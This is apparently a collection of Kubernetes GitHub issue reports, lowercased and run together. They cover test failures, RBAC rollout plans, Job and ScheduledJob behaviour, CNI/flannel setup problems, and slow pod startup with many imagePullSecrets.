https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/2608/  failed:  k8s.io  secrets should be consumable from pods in env vars  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/secrets.go:344 nov 15 08:37:37.163: unable to create test secret : post https://104.196.156.231/api/v1/namespaces/e2e-tests-secrets-omdze/secrets: net/http: request canceled  client.timeout exceeded while awaiting headers  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/secrets.go:309       previous issues for this test:  32025

the rbac default bootstrapping is in place, the default roles and bindings have been started, and controller-manager has been updated to use service account identities for individual controllers.  we're ready to start the process of enabling rbac in gce e2e.  we need to:\r \r  1. enable rbac alongside abac with instrumenting to trace rbac rejections to build out more roles.\r  2. update gce identities to match the cluster bootstrapping names.   kubelet  isn't right and other system components should have  system:   identities to match the existing patterns.\r  3. create an  rbac.yaml  file which contains any \ special\  rules for gce to run.  \ special\  users are likely to need it.\r  4. remove the abac authorizer.\r  5. remove the webhook authorizer.\r \r

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r \ scheduledjob\   and try to understand from the title whether this could be related to my issue \r \ find job\ \r \r ---\r \r   is this a bug report or feature request?    choose one : feature request.\r \r   kubernetes version    use  kubectl version  :\r ~~~~\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+coreos.0\ , gitcommit:\ cc65f5321f9230bf9a3fa171155c1213d6e3480e\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t04:08:28z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r ~~~~\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws via kube-aws 0.93-ish\r \r \r   what happened  :\r i'm using scheduled jobs, and then try to review the logs of the job executions. i have multiple scheduled jobs in the system. generally this works via:\r 1.  kubectl get job  ... search for the ones that seem to relate to my scheduled job name\r 2.  kubectl get pod -l job-name= name of the job that looks most recent from the previous list  \r 3.  kubectl logs  name of the pod  . repeat this if there are more than one execution.\r 4. repeat the whole list for previous jobs\r \r   what you expected to happen  :\r i'd love to be able to filter the initial job list already to only include jobs created by a specific scheduled job, something like  kubectl get job -l scheduledjob=name . for that to happen i need scheduledjob to label the created job, just like a job already labels the pods executing it.\r \r

opening this since this seems slightly different from https://github.com/kubernetes/kubernetes/issues/46651\r \r /cc @kubernetes/sig-node-bugs \r \r this tests has been consistently failing on a lot of the upgrade tests:\r \r https://k8s-testgrid.appspot.com/master-upgrade gke-cvm-1.7-gci-master-upgrade-master\r https://k8s-testgrid.appspot.com/master-upgrade gke-cvm-1.7-gci-master-upgrade-cluster\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-cvm-master-upgrade-master\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-cvm-master-upgrade-cluster\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-gci-master-upgrade-master\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-gci-master-upgrade-cluster\r \r what's really weird is the error message most of them spit out\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:92\r expected error:\r     < errors.errorstring | 0xc422322770>: {\r         s: \ couldn't find -1 nodes within 20s; last error: expected to find -1 nodes but found only 3  20.007524987s elapsed \ ,\r     }\r     couldn't find -1 nodes within 20s; last error: expected to find -1 nodes but found only 3  20.007524987s elapsed \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:77\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-new-cvm-master-upgrade-cluster/128 k8sio-restart-disruptive-should-restart-all-nodes-and-ensure-all-nodes-and-pods-recover\r \r really hard to be clear who owns this tests, going to tag sig-node until there's further evidence otherwise.\r \r cc @kubernetes/kubernetes-release-managers @mbohlool

kube-apiserver has a customization method  todo: link  to add  x-kubernetes-  extensions to openapi spec  such as  x-kubernetes-group-version-kind  . these extensions are missing from types like  apiregistration  that is aggregated from the aggregator server itself. i assume they will be missing from api extension server too that is responsible for crds.\r \r @apelisse\r \r @kubernetes/sig-api-machinery-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r \r    \r apiversion: v1\r kind: list\r items:\r   - apiversion: v1\r     kind: serviceaccount\r     ...\r   - apiversion: extensions/v1beta1\r       bug harry : can not use apps/v1 here since v1.list does not support apps/v1. it should be fixed in upstream.\r     kind: daemonset\r    \r \r   what you expected to happen  :\r \r should be able to use  - apiversion: apps/v1  in  v1.list  object.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a v1.list in 1.9 cluster with daemonset\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes 1.9.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools: scripts\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r when useinstancemetadata is set to true for vmss nodes, their providerid is wrong.\r \r \r   what you expected to happen  :\r \r their providerid should be in format  \r azure:///subscriptions/<subscription-id>/resourcegroups/<rg-name>/providers/microsoft.compute/virtualmachinescalesets/<scaleset-name>/virtualmachines/<instance-id> \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r \r   what happened  :\r this is a followup to the 1.11 design discussions regarding volume attach limits and how it will work with delayed volume binding.  here's a rough sketch of how we can integrate the two, based off of previous discussions.  i'm also trying to consider how this could be extended to work for arbitrary resources.\r \r 1. add a new field to storageclass to indicate how many resources a provisioned volume could consume.\r    \r kind: storageclass\r ...\r noderesources:\r - name: \ attachable-volumes-gce-pd\ \r   quantity: 1\r - name: \ memory\ \r   quantity: 100m\r    \r    name  is the name of the resource that is consumed\r    quantity  is how much it consumes\r \r 2. currently, volume max counts predicate handles resources prefixed with \ attachable-volumes\ , and podfitsresources predicate handles the rest.  both would have to be extended to also account for resources consumed by unbound and bound pvs via storageclass.noderesources.\r \r 3. i'm also trying to see if there's a way we can handle reporting dynamic provisioning capacity for local volumes through a similar or same mechanism.  it would need a special resource prefix again for special handling by the volume binding predicate.  and if we want to support more than just local volumes, then we would need a way to specify a topology object kind  ie a rack or zone crd, or maybe some first class topologyresource object  where the allocatable resources are specified.  if so, then this may no longer be just noderesources.  i need to see how much overlap there may be with device manager here.\r \r would like to hear your thoughts on this idea.  cc @gnufied @liggitt

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r if you have a jobspec and set  backofflimit: 0  with  restartpolicy: onfailure  in 1.9.x, then the job will start a pod and never restart it regardless of success of failure.\r \r in 1.10.x, a job spec with  backofflimit: 0  and  restartpolicy: onfailure , k8s does not start any pods at all. we had to set  backofflimit: 1  in order to get the pod to run.\r \r the wording in the docs suggest that  backofflimit  should only take effect when the pod is finished/or failed. it shouldn't cap starting the initial pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the following job spec in 1.9.x and 1.10.x:\r    \r apiversion: batch/v1\r kind: job\r metadata:\r   name: pi-with-timeout\r spec:\r   backofflimit: 0\r   activedeadlineseconds: 100\r   template:\r     spec:\r       containers:\r       - name: pi\r         image: perl\r         command:  \ perl\ ,  \ -mbignum=bpi\ , \ -wle\ , \ print bpi 2000 \  \r       restartpolicy: onfailure\r    \r \r \r   anything else we need to know?  :\r \r the docs links this existing ticket saying  backofflimit  is ineffective with  restartpolicy: onfailure , but the ticket talks about restarting too many times, not never starting a pod.\r \r https://github.com/kubernetes/kubernetes/issues/54870\r \r given this issue was slightly different, i originally did not think it was a backoffpolicy bug.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r tested on 1.9.7 and 1.10.6\r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r fedora 28\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :  used kubeadm init --pod-network-cidr=10.244.0.0/16. and then executed suggested commands.\r selected flannel pod-network:\r sysctl net.bridge.bridge-nf-call-iptables=1.\r wget https://raw.githubusercontent.com/coreos/flannel/master/documentation/kube-flannel.yml.\r kubectl apply -f kube-flannel.yml.\r kubectl get pods --all-namespaces:\r when i run kubectl get nodes i see the state of master node as notready. running kubectl describe nodes shows one error message \ runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\  \r dockuser@test-lpar-ubuntu:/var/log/containers$ kubectl describe nodes\r name:               test-lpar-ubuntu\r roles:              master\r labels:             beta.kubernetes.io/arch=ppc64le\r                     beta.kubernetes.io/os=linux\r                     kubernetes.io/hostname=test-lpar-ubuntu\r                     node-role.kubernetes.io/master=\r annotations:        kubeadm.alpha.kubernetes.io/cri-socket: /var/run/dockershim.sock\r                     volumes.kubernetes.io/controller-managed-attach-detach: true\r creationtimestamp:  tue, 27 nov 2018 16:39:37 +0530\r taints:             node-role.kubernetes.io/master:noschedule\r unschedulable:      false\r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        false   tue, 04 dec 2018 11:56:34 +0530   tue, 27 nov 2018 16:39:34 +0530   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   tue, 04 dec 2018 11:56:34 +0530   tue, 27 nov 2018 16:39:34 +0530   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     false   tue, 04 dec 2018 11:56:34 +0530   tue, 27 nov 2018 16:39:34 +0530   kubelethasnodiskpressure     kubelet has no disk pressure\r   pidpressure      false   tue, 04 dec 2018 11:56:34 +0530   tue, 27 nov 2018 16:39:34 +0530   kubelethassufficientpid      kubelet has sufficient pid available\r   ready            false   tue, 04 dec 2018 11:56:34 +0530   tue, 27 nov 2018 16:39:34 +0530   kubeletnotready              runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r addresses:\r   internalip:  10.23.172.121\r   hostname:    test-lpar-ubuntu\r capacity:\r  cpu:                16\r  ephemeral-storage:  94803804ki\r  hugepages-16gi:     0\r  hugepages-16mi:     0\r  memory:             4129728ki\r  pods:               110\r allocatable:\r  cpu:                16\r  ephemeral-storage:  87371185622\r  hugepages-16gi:     0\r  hugepages-16mi:     0\r  memory:             4027328ki\r  pods:               110\r system info:\r  machine id:                 71c8632936a76f8c0b2353b95bfd159b\r  system uuid:                ibm,02785626x\r  boot id:                    44384248-711a-43d1-bf9b-c124a25269ed\r  kernel version:             4.4.0-62-generic\r  os image:                   ubuntu 16.04.5 lts\r  operating system:           linux\r  architecture:               ppc64le\r  container runtime version:  docker://17.3.2\r  kubelet version:            v1.12.3\r  kube-proxy version:         v1.12.3\r non-terminated pods:          4 in total \r   namespace                  name                                        cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                                        ------------  ----------  ---------------  -------------\r   kube-system                etcd-test-lpar-ubuntu                       0  0%         0  0%       0  0%            0  0% \r   kube-system                kube-apiserver-test-lpar-ubuntu             250m  1%      0  0%       0  0%            0  0% \r   kube-system                kube-controller-manager-test-lpar-ubuntu    200m  1%      0  0%       0  0%            0  0% \r   kube-system                kube-scheduler-test-lpar-ubuntu             100m  0%      0  0%       0  0%            0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   resource  requests   limits\r   --------  --------   ------\r   cpu       550m  3%   0  0% \r   memory    0  0%      0  0% \r events:     <none>\r dockuser@test-lpar-ubuntu:\r \r   what you expected to happen  : the state of master should be ready\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  : i tried looking for cni files in /etc/cni/net.d but there is nothing, this directory structure does not exists.  journalctl -r -u kubelet throws this error:\r dockuser@test-lpar-ubuntu:/etc/systemd/system/kubelet.service.d$ journalctl -r -u kubelet\r -- logs begin at mon 2018-12-03 16:13:22 ist, end at tue 2018-12-04 13:12:57 ist. --\r dec 04 13:12:57 test-lpar-ubuntu kubelet 27165 : e1204 13:12:57.753600   27165 kubelet.go:2167  container runtime network not ready: networkready=false reason:networkpl\r dec 04 13:12:57 test-lpar-ubuntu kubelet 27165 : w1204 13:12:57.753306   27165 cni.go:188  unable to update cni config: no networks found in /etc/cni/net.d\r dec 04 13:12:52 test-lpar-ubuntu kubelet 27165 : e1204 13:12:52.751990   27165 kubelet.go:2167  container runtime network not ready: networkready=false reason:networkpl\r dec 04 13:12:52 test-lpar-ubuntu kubelet 27165 : w1204 13:12:52.751707   27165 cni.go:188  unable to update cni config: no networks found in /etc/cni/net.d\r dec 04 13:12:49 test-lpar-ubuntu kubelet 27165 : e1204 13:12:49.135996   27165 pod_workers.go:186  error syncing pod 9913e1c265cb1c42c725dd08db6af81d  \ kube-controller-\r dec 04 13:12:47 test-lpar-ubuntu kubelet 27165 : e1204 13:12:47.750447   27165 kubelet.go:2167  container runtime network not ready: networkready=false reason:networkpl\r dec 04 13:12:47 test-lpar-ubuntu kubelet 27165 : w1204 13:12:47.750180   27165 cni.go:188  unable to update cni config: no networks found in /etc/cni/net.d\r dec 04 13:12:42 test-lpar-ubuntu kubelet 27165 : e1204 13:12:42.748933   27165 kubelet.go:2167  container runtime network not ready: networkready=false reason:networkpl\r dec 04 13:12:42 test-lpar-ubuntu kubelet 27165 : w1204 13:12:42.748618   27165 cni.go:188  unable to update cni config: no networks found in /etc/cni/net.d\r dec 04 13:12:37 test-lpar-ubuntu kubelet 27165 : e1204 13:12:37.747341   27165 kubelet.go:2167  container runtime network not ready: networkready=false reason:networkpl\r dec 04 13:12:37 test-lpar-ubuntu kubelet 27165 : w1204 13:12:37.747037   27165 cni.go:188  unable to update cni config: no networks found in /etc/cni/net.d\r dec 04 13:12:35 test-lpar-ubuntu kubelet 27165 : e1204 13:12:35.136057   27165 pod_workers.go:186  error syncing pod 9913e1c265cb1c42c725dd08db6af81d  \ kube-controller-\r dec 04 13:12:32 test-lpar-ubuntu kubelet 27165 : e1204 13:12:32.745632   27165 kubelet.go:2167  container runtime network not ready: networkready=false reason:networkpl\r dec 04 13:12:32 test-lpar-ubuntu kubelet 27165 : w1204 13:12:32.745344   27165 cni.go:188  unable to update cni config: no networks found in /etc/cni/net.d\r dec 04 13:12:27 test-lpar-ubuntu kubelet 27165 : e1204 13:12:27.744124   27165 kubelet.go:2167  container runtime network not ready: networkready=false reason:networkpl\r dec 04 13:12:27 test-lpar-ubuntu kubelet 27165 : w1204 13:12:27.743828   27165 cni.go:188  unable to update cni config: no networks found in /etc/cni/net.d\r \r in /etc/systemd/system/kubelet.service.d/10-kubeadm.conf there is no environment variable present for network\r   environment  :\r - kubernetes version  use  kubectl version  :  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:57:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/ppc64le\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/ppc64le\ }\r dockuser@test-lpar-ubuntu:/etc/selinux$ \r and kubeadm version is :\r  kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:54:02z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/ppc64le\ }\r dockuser@test-lpar-ubuntu:/etc/selinux$\r \r - cloud provider or hardware configuration: ibm power8 server\r - os  e.g. from /etc/os-release : ubuntu 16.04.5 lts  xenial \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  : linux test-lpar-ubuntu 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:09:19 utc 2017 ppc64le ppc64le ppc64le gnu/linux\r - install tools:\r - others: docker version\r dockuser@test-lpar-ubuntu:~$ sudo docker version\r client:\r  version:      17.03.2-ce\r  api version:  1.27\r  go version:   go1.6.2\r  git commit:   f5ec1e2\r  built:        thu jul  5 23:06:06 2018\r  os/arch:      linux/ppc64le\r \r server:\r  version:      17.03.2-ce\r  api version:  1.27  minimum version 1.12 \r  go version:   go1.6.2\r  git commit:   f5ec1e2\r  built:        thu jul  5 23:06:06 2018\r  os/arch:      linux/ppc64le\r  experimental: false\r dockuser@test-lpar-ubuntu:~$\r \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r on aks, i edited the \ default\  serviceaccount in 11 namespaces to add  imagepullsecrets   , and erroneously listed the same  type=kubernetes.io/dockerconfigjson  secret 545 times. that bug was a provisioner trying to workaround  72475 but not being idempotent. my fault.\r \r i observed in this state that pods in those namespaces took 4-60 minutes to start, most of that time spent in containercreating state.\r \r    \r registry-b7bc48969-fgbxk            1/1       running             0          8m        10.244.4.241   aks-nodepool1-22789428-9    <none>\r registry-b7bc48969-jlhr4            0/1       containercreating   0          8m        <none>         aks-nodepool1-22789428-8    <none>\r    \r \r the pod above did eventually start running.  kubectl -n tenant-demo describe pod registry-b7bc48969-jlhr4  shows a 13 minute gap in time. from docker's perspective, the container was created at the same time the pod lifecycle created/started events appear.\r \r    \r events:\r   type    reason     age   from                               message\r   ----    ------     ----  ----                               -------\r   normal  scheduled  47m   default-scheduler                  successfully assigned tenant-demo/registry-b7bc48969-jlhr4 to aks-nodepool1-22789428-8\r   normal  pulling    34m   kubelet, aks-nodepool1-22789428-8  pulling image \ registry:release-master-2019-01-28.725\ \r   normal  pulled     34m   kubelet, aks-nodepool1-22789428-8  successfully pulled image \ registry:release-master-2019-01-28.725\ \r   normal  created    34m   kubelet, aks-nodepool1-22789428-8  created container\r   normal  started    34m   kubelet, aks-nodepool1-22789428-8  started container\r    \r    \r sudo docker ps | grep registry-b7bc48969-jlhr4\r 2fcb593a088c        registry   \ node src --log json\     33 minutes ago      up 33 minutes                           k8s_registry_registry-b7bc48969-jlhr4_tenant-demo_146d9319-2324-11e9-940e-0af3429e1259_0\r 20a889c1ac76        k8s.gcr.io/pause-amd64:3.1              \ /pause\                  34 minutes ago      up 34 minutes                           k8s_pod_registry-b7bc48969-jlhr4_tenant-demo_146d9319-2324-11e9-940e-0af3429e1259_0\r    \r \r kubelet logs from the node also reflected that 13 minute gap; there's a period where no events were produced mentioning this pod.\r \r    \r jan 28 17:42:28 aks-nodepool1-22789428-8 kubelet 28057 : i0128 17:42:28.124844   28057 kubelet.go:1837  syncloop  add, \ api\  : \ registry-b7bc48969-jlhr4_tenant-demo 146d9319-2324-11e9-940e-0af3429e1259 \ \r jan 28 17:42:28 aks-nodepool1-22789428-8 kubelet 28057 : i0128 17:42:28.196941   28057 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ default-token-wnq2m\   uniquename: \ kubernetes.io/secret/146d9319-2324-11e9-940e-0af3429e1259-default-token-wnq2m\   pod \ registry-b7bc48969-jlhr4\   uid: \ 146d9319-2324-11e9-940e-0af3429e1259\  \r jan 28 17:42:28 aks-nodepool1-22789428-8 kubelet 28057 : i0128 17:42:28.297238   28057 reconciler.go:252  operationexecutor.mountvolume started for volume \ default-token-wnq2m\   uniquename: \ kubernetes.io/secret/146d9319-2324-11e9-940e-0af3429e1259-default-token-wnq2m\   pod \ registry-b7bc48969-jlhr4\   uid: \ 146d9319-2324-11e9-940e-0af3429e1259\  \r jan 28 17:42:29 aks-nodepool1-22789428-8 kubelet 28057 : i0128 17:42:29.355810   28057 operation_generator.go:558  mountvolume.setup succeeded for volume \ default-token-wnq2m\   uniquename: \ kubernetes.io/secret/146d9319-2324-11e9-940e-0af3429e1259-default-token-wnq2m\   pod \ registry-b7bc48969-jlhr4\   uid: \ 146d9319-2324-11e9-940e-0af3429e1259\  \r -13-minutes-\r jan 28 17:55:28 aks-nodepool1-22789428-8 kubelet 28057 : i0128 17:55:28.147031   28057 kuberuntime_manager.go:385  no sandbox for pod \ registry-b7bc48969-jlhr4_tenant-demo 146d9319-2324-11e9-940e-0af3429e1259 \  can be found. need to start a new one\r jan 28 17:55:28 aks-nodepool1-22789428-8 kubelet 28057 : i0128 17:55:28.839349   28057 kubelet.go:1882  syncloop  pleg : \ registry-b7bc48969-jlhr4_tenant-demo 146d9319-2324-11e9-940e-0af3429e1259 \ , event: &pleg.podlifecycleevent{id:\ 146d9319-2324-11e9-940e-0af3429e1259\ , type:\ containerdied\ , data:\ 20a889c1ac764e1fb1b220f896cdca2d16ed2fedfd2775a258798900ca618c86\ }\r jan 28 17:55:29 aks-nodepool1-22789428-8 kubelet 28057 : i0128 17:55:29.853715   28057 kubelet.go:1882  syncloop  pleg : \ registry-b7bc48969-jlhr4_tenant-demo 146d9319-2324-11e9-940e-0af3429e1259 \ , event: &pleg.podlifecycleevent{id:\ 146d9319-2324-11e9-940e-0af3429e1259\ , type:\ containerstarted\ , data:\ 20a889c1ac764e1fb1b220f896cdca2d16ed2fedfd2775a258798900ca618c86\ }\r jan 28 17:55:30 aks-nodepool1-22789428-8 kubelet 28057 : i0128 17:55:30.872748   28057 kubelet.go:1882  syncloop  pleg : \ registry-b7bc48969-jlhr4_tenant-demo 146d9319-2324-11e9-940e-0af3429e1259 \ , event: &pleg.podlifecycleevent{id:\ 146d9319-2324-11e9-940e-0af3429e1259\ , type:\ containerstarted\ , data:\ 2fcb593a088c43c2ee6e8d1e6759265da281f41c60033f7957c6787c14c7bed5\ }\r    \r \r this delay was observed for pods with ~1gb images on the private registry  acr  in that secret, and for  ~4mb alpine images from the public docker registry. i don't think image size or authentication mattered here. there did not appear to be any memory/cpu/disk pressure on the nodes.\r \r   what you expected to happen  :\r \r the quantity of an serviceaccount's imagepullsecrets listed to have no  or less  impact on the start time of a pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r deploy a new aks 1-node cluster with v1.11.5 on standard ds2 v2  2 vcpus, 7 gb memory , standard networking, rbac on. no acr required.\r \r https://gist.github.com/alanjcastonguay/ac890649c5b484062dedf98ae1f186ec file-reproduction-sh does the following:\r \r   create a secret  kubectl create secret docker-registry acr-auth --docker-server example.azurecr.io --docker-username example --docker-password test --docker-email me@example.com \r   patch the service account  kubectl patch sa default -p '{\ imagepullsecrets\ : {\ name\ : \ acr-auth\ } }' --type=merge \r   launch a pod  time kubectl run -it --rm --image=alpine:3.6 --quiet=true --restart=never alpine36 -- echo up  - observe <10s startup  note the image should cache \r   append to the service account 600 times  kubectl patch sa default --type='json' -p=' {\ op\ : \ add\ , \ path\ : \ /imagepullsecrets/-\ , \ value\ : {\ name\ : \ acr-auth\ }} ' > /dev/null \r   launch a pod  time kubectl run -it --rm --image=alpine:3.6 --quiet=true --restart=never alpine36 -- echo up  - observe ~128s startup.\r \r observe a linear relationship between the number of secrets listed and the number of seconds it takes to launch _one_ alpine:3.6 pod. see https://gist.github.com/alanjcastonguay/ac890649c5b484062dedf98ae1f186ec file-reproduction-csv graphed: ! reproduction.png  https://user-images.githubusercontent.com/1447600/52006969-6ab09900-249b-11e9-8578-e8d33b8fd7f2.png .\r \r but when i first experienced the symptoms i had ~100 pods launching at around the same time. they appeared to slowly drain, with a wide range  4-60 minutes  of delays. when many pods were started  and in containercreating  at the same time, i _think_ their delays were cumulative; where one pod took ~4 minutes to start running, the next was blocked and then took ~8 minutes, the next ~12 minutes, etc. it's possible there's a single-threaded task happening here, but i haven't found it.\r \r https://gist.github.com/alanjcastonguay/ac890649c5b484062dedf98ae1f186ec file-reproduction-multipod-sh does the following:\r \r   create a secret  kubectl create secret docker-registry acr-auth --docker-server example.azurecr.io --docker-username example --docker-password test --docker-email me@example.com \r   patch the service account with  kubectl patch sa default -p '{\ imagepullsecrets\ : {\ name\ : \ acr-auth\ } }' --type=merge \r   append to the service account 29 times with  kubectl patch sa default --type='json' -p=' {\ op\ : \ add\ , \ path\ : \ /imagepullsecrets/-\ , \ value\ : {\ name\ : \ acr-auth\ }} ' > /dev/null \r   for n 1..20, measure duration:\r       launch n pods  kubectl run -it --rm --image=alpine:3.6 --quiet=true --restart=never alpine36 -- echo up  - observe <10s startup  note the image should cache \r       wait for all n pods to finish starting\r \r i observe a linear relationship, all pods take approximately 10 qtypods seconds to start in the presence of 30 imagepullsecrets. see https://gist.github.com/alanjcastonguay/ac890649c5b484062dedf98ae1f186ec file-reproduction-multipod-csv graphed ! reproduction-multipod.png  https://user-images.githubusercontent.com/1447600/52006970-6ab09900-249b-11e9-8f67-44f60840c48e.png .\r \r the pods remain in containercreating for most of the elapsed time, and then move to running and completed within a few seconds of each other.\r \r    \r name          ready     status              restarts   age       ip            node                       nominated node\r alpine36-1    0/1       containercreating   0          2m        <none>        aks-agentpool-28810660-0   <none>\r alpine36-10   0/1       containercreating   0          2m        <none>        aks-agentpool-28810660-0   <none>\r alpine36-11   0/1       containercreating   0          2m        <none>        aks-agentpool-28810660-0   <none>\r alpine36-2    0/1       containercreating   0          2m        <none>        aks-agentpool-28810660-0   <none>\r alpine36-3    0/1       completed           0          2m        10.244.0.13   aks-agentpool-28810660-0   <none>\r alpine36-4    0/1       containercreating   0          2m        <none>        aks-agentpool-28810660-0   <none>\r alpine36-6    0/1       containercreating   0          2m        <none>        aks-agentpool-28810660-0   <none>\r alpine36-7    0/1       containercreating   0          2m        <none>        aks-agentpool-28810660-0   <none>\r alpine36-9    0/1       containercreating   0          2m        <none>        aks-agentpool-28810660-0   <none>\r    \r \r it appears in all cases i observed a pod to take approximately  0.3   len imagepullsecrets    concurrentlystartingpods  seconds to start.\r \r i wonder whether  but have not proven that  there is a namespace-crossing effect here, where some many-imagepullsecrets x many-pods-creating in namespace a can cause some victim pod in namespace b to wait.\r \r   anything else we need to know?  :\r \r i tried unsuccessfully to reproduce on kind with v1.12.3-435f92c71.\r \r @jackfrancis  noted on slack  https://kubernetes.slack.com/archives/c5hjxtt9q/p1548797386652400  that \ if you’ve identified a causal relationship there, it definitely  seems  like something foundational to the way pod bootstrapping is implemented regardless of cloudprovider.\ \r \r i don't know whether this is really a bug or working as intended. my naive guess is that  kubernetes/plugin/pkg/admission/serviceaccount/admission.go 's  admit    is effectively single-threaded & slow  under some set of circumstances .\r \r the workaround for this is pretty trivial: don't do that. i figure it's useful to document in an issue anyway, even if that just gets closed wontfix, just in case it helps someone else.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r       client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-18t11:37:06z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r       server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:31:35z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aks 1-node cluster with v1.11.5 on standard ds2 v2  2 vcpus, 7 gb memory , standard networking, rbac on, standard networking\r - os  e.g. from /etc/os-release :\r - kernel  